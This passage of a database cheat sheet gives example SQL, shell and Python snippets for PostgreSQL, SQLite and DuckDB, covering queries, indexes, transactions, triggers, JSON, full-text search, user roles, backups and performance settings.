ALTER TABLE users ALTER COLUMN email SET NOT NULL;

-- Insert
INSERT INTO users (username, email)
VALUES ('john', 'john@example.com');

-- Insert multiple
INSERT INTO users (username, email) VALUES
    ('alice', 'alice@example.com'),
    ('bob', 'bob@example.com');

-- Insert with RETURNING
INSERT INTO users (username, email)
VALUES ('jane', 'jane@example.com')
RETURNING id, username;

-- Select
SELECT * FROM users;
SELECT username, email FROM users WHERE id = 1;
SELECT * FROM users WHERE username LIKE 'jo%';
SELECT * FROM users ORDER BY created_at DESC LIMIT 10;

-- Update
UPDATE users SET email = 'newemail@example.com' WHERE id = 1;
UPDATE users SET email = 'newemail@example.com' WHERE id = 1 RETURNING *;

-- Delete
DELETE FROM users WHERE id = 1;
DELETE FROM users WHERE created_at < '2023-01-01';

-- Create index
CREATE INDEX idx_users_username ON users(username);
CREATE INDEX idx_users_email ON users(email);

-- Unique index
CREATE UNIQUE INDEX idx_users_username_unique ON users(username);

-- Composite index
CREATE INDEX idx_users_name_email ON users(username, email);

-- Partial index
CREATE INDEX idx_active_users ON users(username) WHERE active = true;

-- Full-text search index
CREATE INDEX idx_users_fulltext ON users USING GIN(to_tsvector('english', username || ' ' || email));

-- List indexes
\di
SELECT * FROM pg_indexes WHERE tablename = 'users';

-- Drop index
DROP INDEX idx_users_username;

-- Primary key
CREATE TABLE products (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100)
);

-- Foreign key
CREATE TABLE orders (
    id SERIAL PRIMARY KEY,
    user_id INTEGER REFERENCES users(id) ON DELETE CASCADE,
    product_id INTEGER REFERENCES products(id)
);

-- Unique constraint
ALTER TABLE users ADD CONSTRAINT users_email_unique UNIQUE (email);

-- Check constraint
ALTER TABLE products ADD CONSTRAINT products_price_positive
    CHECK (price > 0);

-- Not null
ALTER TABLE users ALTER COLUMN email SET NOT NULL;

-- Default
ALTER TABLE users ALTER COLUMN active SET DEFAULT true;

-- Inner join
SELECT u.username, o.id AS order_id
FROM users u
INNER JOIN orders o ON u.id = o.user_id;

-- Left join
SELECT u.username, o.id AS order_id
FROM users u
LEFT JOIN orders o ON u.id = o.user_id;

-- Right join
SELECT u.username, o.id AS order_id
FROM users u
RIGHT JOIN orders o ON u.id = o.user_id;

-- Full outer join
SELECT u.username, o.id AS order_id
FROM users u
FULL OUTER JOIN orders o ON u.id = o.user_id;

-- Self join
SELECT e1.name AS employee, e2.name AS manager
FROM employees e1
LEFT JOIN employees e2 ON e1.manager_id = e2.id;

-- Count
SELECT COUNT(*) FROM users;
SELECT COUNT(DISTINCT email) FROM users;

-- Sum, Avg, Min, Max
SELECT
    COUNT(*) AS total_orders,
    SUM(amount) AS total_amount,
    AVG(amount) AS avg_amount,
    MIN(amount) AS min_amount,
    MAX(amount) AS max_amount
FROM orders;

-- Group by
SELECT user_id, COUNT(*) AS order_count
FROM orders
GROUP BY user_id;

-- Having
SELECT user_id, COUNT(*) AS order_count
FROM orders
GROUP BY user_id
HAVING COUNT(*) > 5;

-- Window functions
SELECT
    username,
    created_at,
    ROW_NUMBER() OVER (ORDER BY created_at) AS row_num,
    RANK() OVER (ORDER BY created_at) AS rank,
    LAG(created_at) OVER (ORDER BY created_at) AS prev_created
FROM users;

-- Begin transaction
BEGIN;

INSERT INTO users (username, email) VALUES ('test', 'test@example.com');
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
UPDATE accounts SET balance = balance + 100 WHERE id = 2;

-- Commit
COMMIT;

-- Rollback
ROLLBACK;

-- Savepoint
BEGIN;
INSERT INTO users (username, email) VALUES ('test', 'test@example.com');
SAVEPOINT my_savepoint;
UPDATE users SET email = 'new@example.com' WHERE username = 'test';
ROLLBACK TO my_savepoint;
COMMIT;

-- Create view
CREATE VIEW active_users AS
SELECT id, username, email
FROM users
WHERE active = true;

-- Use view
SELECT * FROM active_users;

-- Materialized view
CREATE MATERIALIZED VIEW user_stats AS
SELECT
    user_id,
    COUNT(*) AS order_count,
    SUM(amount) AS total_spent
FROM orders
GROUP BY user_id;

-- Refresh materialized view
REFRESH MATERIALIZED VIEW user_stats;

-- Drop view
DROP VIEW active_users;
DROP MATERIALIZED VIEW user_stats;

-- Create function
CREATE OR REPLACE FUNCTION get_user_count()
RETURNS INTEGER AS $$
BEGIN
    RETURN (SELECT COUNT(*) FROM users);
END;
$$ LANGUAGE plpgsql;

-- Call function
SELECT get_user_count();

-- Function with parameters
CREATE OR REPLACE FUNCTION get_user_by_id(user_id INTEGER)
RETURNS TABLE(username VARCHAR, email VARCHAR) AS $$
BEGIN
    RETURN QUERY
    SELECT u.username, u.email
    FROM users u
    WHERE u.id = user_id;
END;
$$ LANGUAGE plpgsql;

-- Call
SELECT * FROM get_user_by_id(1);

-- Procedure (PostgreSQL 11+)
CREATE OR REPLACE PROCEDURE add_user(
    p_username VARCHAR,
    p_email VARCHAR
)
LANGUAGE plpgsql AS $$
BEGIN
    INSERT INTO users (username, email)
    VALUES (p_username, p_email);
END;
$$;

-- Call procedure
CALL add_user('newuser', 'new@example.com');

-- Create trigger function
CREATE OR REPLACE FUNCTION update_modified_column()
RETURNS TRIGGER AS $$
BEGIN
    NEW.updated_at = NOW();
    RETURN NEW;
END;
$$ LANGUAGE plpgsql;

-- Create trigger
CREATE TRIGGER update_users_modtime
BEFORE UPDATE ON users
FOR EACH ROW
EXECUTE FUNCTION update_modified_column();

-- List triggers
\dft
SELECT * FROM pg_trigger WHERE tgrelid = 'users'::regclass;

-- Drop trigger
DROP TRIGGER update_users_modtime ON users;

-- JSON column
CREATE TABLE events (
    id SERIAL PRIMARY KEY,
    data JSONB
);

-- Insert JSON
INSERT INTO events (data) VALUES ('{"type": "click", "count": 1}');

-- Query JSON
SELECT data->>'type' AS event_type FROM events;
SELECT * FROM events WHERE data->>'type' = 'click';
SELECT * FROM events WHERE data->'count' > '5';

-- Update JSON
UPDATE events SET data = jsonb_set(data, '{count}', '10') WHERE id = 1;

-- JSON aggregation
SELECT jsonb_agg(username) FROM users;
SELECT jsonb_object_agg(id, username) FROM users;

-- Create tsvector column
ALTER TABLE articles ADD COLUMN textsearch tsvector;

-- Update tsvector
UPDATE articles SET textsearch =
    to_tsvector('english', title || ' ' || body);

-- Create index
CREATE INDEX idx_articles_textsearch ON articles USING GIN(textsearch);

-- Search
SELECT title FROM articles
WHERE textsearch @@ to_tsquery('english', 'postgresql & performance');

-- Ranking
SELECT title, ts_rank(textsearch, query) AS rank
FROM articles, to_tsquery('english', 'postgresql') query
WHERE textsearch @@ query
ORDER BY rank DESC;

-- Create user
CREATE USER myuser WITH PASSWORD 'mypassword';

-- Create role
CREATE ROLE readonly;

-- Grant privileges
GRANT SELECT ON ALL TABLES IN SCHEMA public TO readonly;
GRANT ALL PRIVILEGES ON DATABASE mydb TO myuser;
GRANT SELECT, INSERT, UPDATE ON users TO myuser;

-- Revoke privileges
REVOKE INSERT ON users FROM myuser;

-- Alter user
ALTER USER myuser WITH PASSWORD 'newpassword';
ALTER USER myuser WITH SUPERUSER;

-- Drop user
DROP USER myuser;

-- List users
\du
SELECT * FROM pg_user;

# Dump database
pg_dump -U username -d mydb > mydb_backup.sql
pg_dump -U username -d mydb -F c > mydb_backup.dump

# Dump specific table
pg_dump -U username -d mydb -t users > users_backup.sql

# Dump all databases
pg_dumpall -U postgres > all_dbs.sql

# Restore from SQL file
psql -U username -d mydb < mydb_backup.sql

# Restore from custom format
pg_restore -U username -d mydb mydb_backup.dump

# Restore specific table
pg_restore -U username -d mydb -t users mydb_backup.dump

-- Analyze table
ANALYZE users;

-- Vacuum
VACUUM users;
VACUUM FULL users;
VACUUM ANALYZE users;

-- Explain query
EXPLAIN SELECT * FROM users WHERE username = 'john';
EXPLAIN ANALYZE SELECT * FROM users WHERE username = 'john';

-- Query statistics
SELECT * FROM pg_stat_user_tables WHERE relname = 'users';
SELECT * FROM pg_stat_user_indexes WHERE relname = 'users';

-- Active connections
SELECT * FROM pg_stat_activity;

-- Kill query
SELECT pg_cancel_backend(pid);
SELECT pg_terminate_backend(pid);

-- Table size
SELECT pg_size_pretty(pg_total_relation_size('users'));

# postgresql.conf key settings

# Memory
shared_buffers = 256MB          # 25% of RAM
effective_cache_size = 1GB      # 50-75% of RAM
work_mem = 4MB
maintenance_work_mem = 64MB

# WAL
wal_buffers = 16MB
checkpoint_completion_target = 0.9
max_wal_size = 1GB

# Query planner
random_page_cost = 1.1         # For SSD
effective_io_concurrency = 200  # For SSD

# Connections
max_connections = 100

# Logging
log_destination = 'stderr'
logging_collector = on
log_directory = 'pg_log'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_statement = 'all'
log_duration = on
log_min_duration_statement = 1000  # Log queries > 1s

# Meta-commands
\?              # Help on psql commands
\h ALTER TABLE  # Help on SQL command
\l              # List databases
\c dbname       # Connect to database
\dt             # List tables
\dt+            # List tables with sizes
\d tablename    # Describe table
\d+ tablename   # Detailed table info
\di             # List indexes
\dv             # List views
\df             # List functions
\du             # List users
\dn             # List schemas
\timing         # Toggle timing
\x              # Toggle expanded output
\q              # Quit
\! command      # Execute shell command
\i file.sql     # Execute SQL file
\o file.txt     # Output to file
\o              # Output to stdout

# Ubuntu/Debian
sudo apt update
sudo apt install sqlite3

# macOS (pre-installed, or use Homebrew)
brew install sqlite

# CentOS/RHEL
sudo yum install sqlite

# Verify
sqlite3 --version

# Create/open database
sqlite3 mydb.db

# Open existing database
sqlite3 existing.db

# Execute command from shell
sqlite3 mydb.db "SELECT * FROM users;"

# Execute SQL file
sqlite3 mydb.db < script.sql

# Dump database
sqlite3 mydb.db .dump > backup.sql

# Exit
.quit
.exit

-- Attach database
ATTACH DATABASE 'other.db' AS other;

-- List databases
.databases

-- Detach
DETACH DATABASE other;

-- Backup database
.backup backup.db

-- Restore from backup
.restore backup.db

-- Create table
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    email TEXT NOT NULL UNIQUE,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

-- List tables
.tables
.schema

-- Show table schema
.schema users
PRAGMA table_info(users);

-- Drop table
DROP TABLE users;
DROP TABLE IF EXISTS users;

-- Rename table
ALTER TABLE users RENAME TO customers;

-- Add column
ALTER TABLE users ADD COLUMN age INTEGER;

-- Rename column (SQLite 3.25.0+)
ALTER TABLE users RENAME COLUMN username TO user_name;

-- Drop column (SQLite 3.35.0+)
ALTER TABLE users DROP COLUMN age;

-- SQLite has 5 storage classes
-- INTEGER, REAL, TEXT, BLOB, NULL

CREATE TABLE examples (
    int_col INTEGER,
    real_col REAL,
    text_col TEXT,
    blob_col BLOB,

    -- Type affinity examples
    bool_col BOOLEAN,         -- Stored as INTEGER (0 or 1)
    date_col DATE,            -- Stored as TEXT, INTEGER, or REAL
    datetime_col DATETIME,
    varchar_col VARCHAR(100), -- Stored as TEXT
    decimal_col DECIMAL(10,2) -- Stored as REAL or TEXT
);

-- Insert
INSERT INTO users (username, email)
VALUES ('john', 'john@example.com');

-- Insert multiple
INSERT INTO users (username, email) VALUES
    ('alice', 'alice@example.com'),
    ('bob', 'bob@example.com');

-- Insert or replace
INSERT OR REPLACE INTO users (id, username, email)
VALUES (1, 'john', 'newemail@example.com');

-- Insert or ignore
INSERT OR IGNORE INTO users (username, email)
VALUES ('john', 'john@example.com');

-- Select
SELECT * FROM users;
SELECT username, email FROM users WHERE id = 1;
SELECT * FROM users WHERE username LIKE 'jo%';
SELECT * FROM users ORDER BY created_at DESC LIMIT 10;
SELECT * FROM users LIMIT 10 OFFSET 20;

-- Update
UPDATE users SET email = 'newemail@example.com' WHERE id = 1;

-- Delete
DELETE FROM users WHERE id = 1;
DELETE FROM users WHERE created_at < '2023-01-01';

-- Create index
CREATE INDEX idx_users_username ON users(username);
CREATE INDEX idx_users_email ON users(email);

-- Unique index
CREATE UNIQUE INDEX idx_users_username_unique ON users(username);

-- Composite index
CREATE INDEX idx_users_name_email ON users(username, email);

-- Partial index
CREATE INDEX idx_active_users ON users(username) WHERE active = 1;

-- Expression index
CREATE INDEX idx_users_lower_username ON users(LOWER(username));

-- List indexes
.indexes
.indexes users
PRAGMA index_list(users);

-- Show index info
PRAGMA index_info(idx_users_username);

-- Drop index
DROP INDEX idx_users_username;

-- Primary key
CREATE TABLE products (
    id INTEGER PRIMARY KEY,  -- Alias for rowid
    name TEXT NOT NULL
);

-- Composite primary key
CREATE TABLE order_items (
    order_id INTEGER,
    product_id INTEGER,
    quantity INTEGER,
    PRIMARY KEY (order_id, product_id)
);

-- Foreign key (must enable)
PRAGMA foreign_keys = ON;

CREATE TABLE orders (
    id INTEGER PRIMARY KEY,
    user_id INTEGER,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- Unique constraint
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    email TEXT UNIQUE
);

-- Check constraint
CREATE TABLE products (
    id INTEGER PRIMARY KEY,
    price REAL CHECK(price > 0),
    quantity INTEGER CHECK(quantity >= 0)
);

-- Not null
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT NOT NULL
);

-- Default value
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    active INTEGER DEFAULT 1,
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

-- Inner join
SELECT u.username, o.id AS order_id
FROM users u
INNER JOIN orders o ON u.id = o.user_id;

-- Left join
SELECT u.username, o.id AS order_id
FROM users u
LEFT JOIN orders o ON u.id = o.user_id;

-- Cross join
SELECT u.username, p.name
FROM users u
CROSS JOIN products p;

-- Natural join (not recommended)
SELECT * FROM users NATURAL JOIN orders;

-- Count
SELECT COUNT(*) FROM users;
SELECT COUNT(DISTINCT email) FROM users;

-- Sum, Avg, Min, Max
SELECT
    COUNT(*) AS total_orders,
    SUM(amount) AS total_amount,
    AVG(amount) AS avg_amount,
    MIN(amount) AS min_amount,
    MAX(amount) AS max_amount
FROM orders;

-- Group by
SELECT user_id, COUNT(*) AS order_count
FROM orders
GROUP BY user_id;

-- Having
SELECT user_id, COUNT(*) AS order_count
FROM orders
GROUP BY user_id
HAVING COUNT(*) > 5;

-- Group concat
SELECT user_id, GROUP_CONCAT(product_name, ', ') AS products
FROM order_items
GROUP BY user_id;

-- Begin transaction
BEGIN TRANSACTION;

INSERT INTO users (username, email) VALUES ('test', 'test@example.com');
UPDATE accounts SET balance = balance - 100 WHERE id = 1;
UPDATE accounts SET balance = balance + 100 WHERE id = 2;

-- Commit
COMMIT;

-- Rollback
ROLLBACK;

-- Transaction modes
BEGIN DEFERRED TRANSACTION;   -- Default
BEGIN IMMEDIATE TRANSACTION;  -- Acquire write lock
BEGIN EXCLUSIVE TRANSACTION;  -- Exclusive access

-- Savepoint
BEGIN;
INSERT INTO users (username, email) VALUES ('test', 'test@example.com');
SAVEPOINT sp1;
UPDATE users SET email = 'new@example.com' WHERE username = 'test';
ROLLBACK TO sp1;
COMMIT;

-- Create view
CREATE VIEW active_users AS
SELECT id, username, email
FROM users
WHERE active = 1;

-- Use view
SELECT * FROM active_users;

-- Temporary view
CREATE TEMP VIEW temp_users AS
SELECT * FROM users WHERE created_at > date('now', '-7 days');

-- Drop view
DROP VIEW active_users;

-- Before insert trigger
CREATE TRIGGER validate_email
BEFORE INSERT ON users
BEGIN
    SELECT CASE
        WHEN NEW.email NOT LIKE '%@%' THEN
            RAISE(ABORT, 'Invalid email format')
    END;
END;

-- After insert trigger
CREATE TRIGGER log_user_creation
AFTER INSERT ON users
BEGIN
    INSERT INTO audit_log (table_name, action, timestamp)
    VALUES ('users', 'INSERT', datetime('now'));
END;

-- Update trigger
CREATE TRIGGER update_modified_time
AFTER UPDATE ON users
BEGIN
    UPDATE users SET updated_at = datetime('now')
    WHERE id = NEW.id;
END;

-- Instead of trigger (for views)
CREATE TRIGGER update_active_users
INSTEAD OF UPDATE ON active_users
BEGIN
    UPDATE users SET email = NEW.email WHERE id = NEW.id;
END;

-- List triggers
.schema users
SELECT * FROM sqlite_master WHERE type = 'trigger';

-- Drop trigger
DROP TRIGGER validate_email;

-- Current date/time
SELECT date('now');               -- 2024-01-15
SELECT time('now');               -- 14:30:45
SELECT datetime('now');           -- 2024-01-15 14:30:45
SELECT strftime('%Y-%m-%d %H:%M', 'now');

-- Date arithmetic
SELECT date('now', '+7 days');
SELECT date('now', '-1 month');
SELECT datetime('now', '+5 hours');
SELECT date('now', 'start of month');
SELECT date('now', 'start of year');

-- Extract parts
SELECT strftime('%Y', 'now') AS year;
SELECT strftime('%m', 'now') AS month;
SELECT strftime('%d', 'now') AS day;
SELECT strftime('%H', 'now') AS hour;

-- Julian day
SELECT julianday('now');
SELECT julianday('now') - julianday('2024-01-01');

-- Unix timestamp
SELECT strftime('%s', 'now');  -- Unix timestamp
SELECT datetime(1234567890, 'unixepoch');  -- From timestamp

-- JSON functions
SELECT json('{"name":"John","age":30}');

-- Extract value
SELECT json_extract('{"name":"John","age":30}', '$.name');
SELECT '{"name":"John","age":30}' -> 'name';  -- Shorthand

-- Array operations
SELECT json_each.value
FROM json_each('[1,2,3,4,5]');

-- Store JSON
CREATE TABLE events (
    id INTEGER PRIMARY KEY,
    data TEXT
);

INSERT INTO events (data) VALUES ('{"type":"click","count":1}');

-- Query JSON
SELECT * FROM events
WHERE json_extract(data, '$.type') = 'click';

-- Update JSON
UPDATE events
SET data = json_set(data, '$.count', json_extract(data, '$.count') + 1)
WHERE id = 1;

-- Create FTS5 table
CREATE VIRTUAL TABLE articles_fts USING fts5(
    title,
    body,
    content=articles,
    content_rowid=id
);

-- Populate FTS table
INSERT INTO articles_fts(rowid, title, body)
SELECT id, title, body FROM articles;

-- Search
SELECT * FROM articles_fts WHERE articles_fts MATCH 'sqlite performance';

-- Ranking
SELECT *, rank FROM articles_fts
WHERE articles_fts MATCH 'sqlite'
ORDER BY rank;

-- Phrase search
SELECT * FROM articles_fts WHERE articles_fts MATCH '"sqlite database"';

-- Column-specific search
SELECT * FROM articles_fts WHERE title MATCH 'tutorial';

-- Database info
PRAGMA database_list;
PRAGMA table_info(users);
PRAGMA index_list(users);
PRAGMA foreign_key_list(orders);

-- Performance
PRAGMA cache_size = 10000;        -- Pages in cache
PRAGMA page_size = 4096;          -- Page size in bytes
PRAGMA journal_mode = WAL;        -- Write-Ahead Logging
PRAGMA synchronous = NORMAL;      -- Sync mode
PRAGMA temp_store = MEMORY;       -- Temp tables in memory

-- Foreign keys
PRAGMA foreign_keys = ON;
PRAGMA foreign_keys;              -- Check status

-- Integrity check
PRAGMA integrity_check;
PRAGMA quick_check;

-- Database size
PRAGMA page_count;
PRAGMA page_size;
-- Total size = page_count * page_size

-- Optimization
PRAGMA optimize;
VACUUM;

-- Enable WAL mode (Write-Ahead Logging)
PRAGMA journal_mode = WAL;

-- Increase cache size
PRAGMA cache_size = -64000;  -- 64MB

-- Disable synchronous (faster but less safe)
PRAGMA synchronous = OFF;
PRAGMA synchronous = NORMAL;  -- Balanced

-- Analyze tables
ANALYZE;
ANALYZE users;

-- Vacuum database
VACUUM;

-- Batch inserts
BEGIN TRANSACTION;
-- Multiple INSERT statements
COMMIT;

-- Use prepared statements (in code)
-- Better performance and security

-- Indexes for frequently queried columns
CREATE INDEX idx_users_email ON users(email);

# Backup database
sqlite3 mydb.db ".backup backup.db"
sqlite3 mydb.db .dump > backup.sql
cp mydb.db mydb_backup.db  # Simple copy

# Restore from backup
sqlite3 newdb.db ".restore backup.db"
sqlite3 newdb.db < backup.sql

# Export to CSV
.mode csv
.output users.csv
SELECT * FROM users;
.output stdout

# Import from CSV
.mode csv
.import users.csv users

# Meta-commands
.help               # Show help
.databases          # List databases
.tables             # List tables
.schema             # Show all schemas
.schema users       # Show table schema
.indexes users      # Show indexes
.mode column        # Column output mode
.mode csv           # CSV output mode
.mode json          # JSON output mode
.headers on         # Show column headers
.width 10 20 30     # Set column widths
.output file.txt    # Output to file
.output stdout      # Output to screen
.read file.sql      # Execute SQL file
.timer on           # Show execution time
.quit               # Exit

-- Upsert (Insert or Update)
INSERT INTO users (id, username, email)
VALUES (1, 'john', 'john@example.com')
ON CONFLICT(id) DO UPDATE SET
    username = excluded.username,
    email = excluded.email;

-- Conditional insert
INSERT INTO users (username, email)
SELECT 'john', 'john@example.com'
WHERE NOT EXISTS (
    SELECT 1 FROM users WHERE username = 'john'
);

-- Auto-increment
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT
);

-- Get last insert rowid
SELECT last_insert_rowid();

-- Pagination
SELECT * FROM users
ORDER BY id
LIMIT 10 OFFSET 20;

-- Random row
SELECT * FROM users ORDER BY RANDOM() LIMIT 1;

-- 1. Enable foreign keys
PRAGMA foreign_keys = ON;

-- 2. Use WAL mode for better concurrency
PRAGMA journal_mode = WAL;

-- 3. Use transactions for bulk operations
BEGIN TRANSACTION;
-- Multiple operations
COMMIT;

-- 4. Create indexes for frequently queried columns
CREATE INDEX idx_users_email ON users(email);

-- 5. Use INTEGER PRIMARY KEY for auto-increment
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT
);

-- 6. Analyze database periodically
ANALYZE;

-- 7. Use prepared statements in code
-- Prevents SQL injection and improves performance

-- 8. Vacuum database periodically
VACUUM;

-- 9. Use appropriate data types
-- SQLite is flexible but using correct types helps

-- 10. Regular backups
-- Use .backup command or copy the database file

# Ubuntu/Debian
sudo apt install duckdb

# macOS
brew install duckdb

# Python
pip install duckdb

# From binary
wget https://github.com/duckdb/duckdb/releases/download/v0.9.2/duckdb_cli-linux-amd64.zip
unzip duckdb_cli-linux-amd64.zip
sudo mv duckdb /usr/local/bin/

# Verify
duckdb --version

# Start DuckDB CLI
duckdb

# Create/open database file
duckdb mydb.duckdb

# In-memory database
duckdb :memory:

# Execute command from shell
duckdb mydb.duckdb "SELECT * FROM users;"

# Execute SQL file
duckdb mydb.duckdb < script.sql

# Exit
.quit

import duckdb

# Connect to database
con = duckdb.connect('mydb.duckdb')

# In-memory database
con = duckdb.connect(':memory:')

# Execute query
result = con.execute("SELECT * FROM users").fetchall()

# Fetch as DataFrame
df = con.execute("SELECT * FROM users").df()

# Direct DataFrame query
import pandas as pd
df = pd.DataFrame({'a': [1, 2, 3], 'b': [4, 5, 6]})
result = duckdb.query("SELECT * FROM df WHERE a > 1").df()

# Close connection
con.close()

-- Create table
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username VARCHAR,
    email VARCHAR,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- Create table from query
CREATE TABLE new_users AS
SELECT * FROM users WHERE created_at > '2024-01-01';

-- Show tables
SHOW TABLES;
.tables

-- Describe table
DESCRIBE users;
.schema users

-- Drop table
DROP TABLE users;

-- Read CSV
SELECT * FROM read_csv_auto('data.csv');

-- Read CSV with options
SELECT * FROM read_csv('data.csv',
    header=true,
    delim=',',
    quote='"',
    types={'id': 'INTEGER', 'name': 'VARCHAR'}
);

-- Create table from CSV
CREATE TABLE users AS
SELECT * FROM read_csv_auto('users.csv');

-- Read Parquet
SELECT * FROM read_parquet('data.parquet');
SELECT * FROM 'data.parquet';  -- Shorthand

-- Read multiple Parquet files
SELECT * FROM read_parquet(['file1.parquet', 'file2.parquet']);
SELECT * FROM read_parquet('data/*.parquet');

-- Read JSON
SELECT * FROM read_json_auto('data.json');
SELECT * FROM read_json('data.json', format='array');

-- Read JSON lines
SELECT * FROM read_json_auto('data.jsonl', format='newline_delimited');

-- Export to CSV
COPY users TO 'users.csv' (HEADER, DELIMITER ',');

-- Export to Parquet
COPY users TO 'users.parquet' (FORMAT PARQUET);

-- Export query result
COPY (SELECT * FROM users WHERE active = true)
TO 'active_users.parquet' (FORMAT PARQUET);

-- Export to JSON
COPY users TO 'users.json';

-- Insert
INSERT INTO users (username, email)
VALUES ('john', 'john@example.com');

-- Insert multiple
INSERT INTO users (username, email) VALUES
    ('alice', 'alice@example.com'),
    ('bob', 'bob@example.com');

-- Insert from SELECT
INSERT INTO users (username, email)
SELECT username, email FROM temp_users;

-- Select
SELECT * FROM users;
SELECT * FROM users WHERE username LIKE 'jo%';
SELECT * FROM users ORDER BY created_at DESC LIMIT 10;

-- Update
UPDATE users SET email = 'newemail@example.com' WHERE id = 1;

-- Delete
DELETE FROM users WHERE id = 1;

-- Window functions
SELECT
    username,
    created_at,
    ROW_NUMBER() OVER (ORDER BY created_at) AS row_num,
    RANK() OVER (ORDER BY created_at) AS rank,
    DENSE_RANK() OVER (ORDER BY created_at) AS dense_rank,
    NTILE(4) OVER (ORDER BY created_at) AS quartile
FROM users;

-- Moving average
SELECT
    date,
    revenue,
    AVG(revenue) OVER (ORDER BY date ROWS BETWEEN 6 PRECEDING AND CURRENT ROW) AS moving_avg_7d
FROM sales;

-- Cumulative sum
SELECT
    date,
    amount,
    SUM(amount) OVER (ORDER BY date) AS cumulative_total
FROM transactions;

-- Percent rank
SELECT
    username,
    score,
    PERCENT_RANK() OVER (ORDER BY score) AS percentile
FROM scores;

-- Basic aggregations
SELECT
    COUNT(*) AS total,
    COUNT(DISTINCT user_id) AS unique_users,
    SUM(amount) AS total_amount,
    AVG(amount) AS avg_amount,
    MIN(amount) AS min_amount,
    MAX(amount) AS max_amount,
    STDDEV(amount) AS std_dev,
    MEDIAN(amount) AS median_amount
FROM orders;

-- Group by with ROLLUP
SELECT
    category,
    subcategory,
    SUM(amount) AS total
FROM sales
GROUP BY ROLLUP (category, subcategory);

-- Group by with CUBE
SELECT
    region,
    product,
    SUM(revenue) AS total
FROM sales
GROUP BY CUBE (region, product);

-- GROUPING SETS
SELECT
    region,
    product,
    SUM(revenue) AS total
FROM sales
GROUP BY GROUPING SETS ((region), (product), ());

-- Generate date series
SELECT * FROM generate_series(
    TIMESTAMP '2024-01-01',
    TIMESTAMP '2024-12-31',
    INTERVAL '1 day'
) AS t(date);

-- Time bucket
SELECT
    time_bucket(INTERVAL '1 hour', timestamp) AS hour,
    COUNT(*) AS events,
    AVG(value) AS avg_value
FROM events
GROUP BY hour
ORDER BY hour;

-- Date truncation
SELECT
    date_trunc('month', created_at) AS month,
    COUNT(*) AS user_count
FROM users
GROUP BY month;

-- Extract date parts
SELECT
    EXTRACT(year FROM created_at) AS year,
    EXTRACT(month FROM created_at) AS month,
    EXTRACT(day FROM created_at) AS day,
    EXTRACT(hour FROM created_at) AS hour
FROM events;

-- Inner join
SELECT u.username, o.amount
FROM users u
INNER JOIN orders o ON u.id = o.user_id;

-- Left join
SELECT u.username, o.amount
FROM users u
LEFT JOIN orders o ON u.id = o.user_id;

-- Right join
SELECT u.username, o.amount
FROM users u
RIGHT JOIN orders o ON u.id = o.user_id;

-- Full outer join
SELECT u.username, o.amount
FROM users u
FULL OUTER JOIN orders o ON u.id = o.user_id;

-- Cross join
SELECT u.username, p.name
FROM users u
CROSS JOIN products p;

-- Join with USING
SELECT * FROM users u
JOIN orders o USING (user_id);

-- ASOF join (temporal join)
SELECT * FROM trades
ASOF JOIN quotes
ON trades.symbol = quotes.symbol
AND trades.timestamp >= quotes.timestamp;

-- Basic CTE
WITH active_users AS (
    SELECT * FROM users WHERE active = true
)
SELECT * FROM active_users WHERE created_at > '2024-01-01';

-- Multiple CTEs
WITH
    active_users AS (
        SELECT * FROM users WHERE active = true
    ),
    recent_orders AS (
        SELECT * FROM orders WHERE created_at > '2024-01-01'
    )
SELECT u.username, COUNT(o.id) AS order_count
FROM active_users u
LEFT JOIN recent_orders o ON u.id = o.user_id
GROUP BY u.username;

-- Recursive CTE
WITH RECURSIVE countdown(n) AS (
    SELECT 10 AS n
    UNION ALL
    SELECT n - 1 FROM countdown WHERE n > 1
)
SELECT * FROM countdown;

-- Pivot
PIVOT sales
ON product_category
USING SUM(amount)
GROUP BY region;

-- Manual pivot
SELECT
    region,
    SUM(CASE WHEN category = 'Electronics' THEN amount ELSE 0 END) AS electronics,
    SUM(CASE WHEN category = 'Clothing' THEN amount ELSE 0 END) AS clothing,
    SUM(CASE WHEN category = 'Food' THEN amount ELSE 0 END) AS food
FROM sales
GROUP BY region;

-- Unpivot
UNPIVOT sales
ON electronics, clothing, food
INTO NAME category VALUE amount;

-- String operations
SELECT
    UPPER(username) AS upper_name,
    LOWER(username) AS lower_name,
    CONCAT(first_name, ' ', last_name) AS full_name,
    SUBSTRING(email, 1, 5) AS email_prefix,
    LENGTH(username) AS name_length,
    REPLACE(email, '@gmail.com', '@example.com') AS new_email,
    SPLIT_PART(email, '@', 1) AS email_user,
    TRIM(username) AS trimmed,
    REGEXP_MATCHES(text, '[0-9]+') AS numbers,
    REGEXP_REPLACE(text, '[0-9]', 'X') AS masked
FROM users;

-- String aggregation
SELECT
    category,
    STRING_AGG(product_name, ', ') AS products
FROM products
GROUP BY category;

-- List functions
SELECT
    LIST(['a', 'b', 'c']) AS my_list,
    LIST_VALUE('a', 'b', 'c') AS another_list,
    [1, 2, 3] AS numeric_list;

SELECT list[1] FROM (SELECT [1, 2, 3] AS list);

-- Arrays
SELECT [1, 2, 3, 4, 5] AS numbers;
SELECT LIST_VALUE(1, 2, 3, 4, 5) AS numbers;
SELECT UNNEST([1, 2, 3]) AS num;

-- Array aggregation
SELECT LIST(username) AS all_users FROM users;

-- Struct
SELECT {'name': 'John', 'age': 30} AS person;
SELECT person.name FROM (SELECT {'name': 'John', 'age': 30} AS person);

-- Nested structures
SELECT {
    'user': {'name': 'John', 'email': 'john@example.com'},
    'orders': [1, 2, 3]
} AS complex_data;

-- Primary key
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username VARCHAR UNIQUE NOT NULL
);

-- Check constraint
CREATE TABLE products (
    id INTEGER PRIMARY KEY,
    price DECIMAL CHECK (price > 0),
    quantity INTEGER CHECK (quantity >= 0)
);

-- Create index
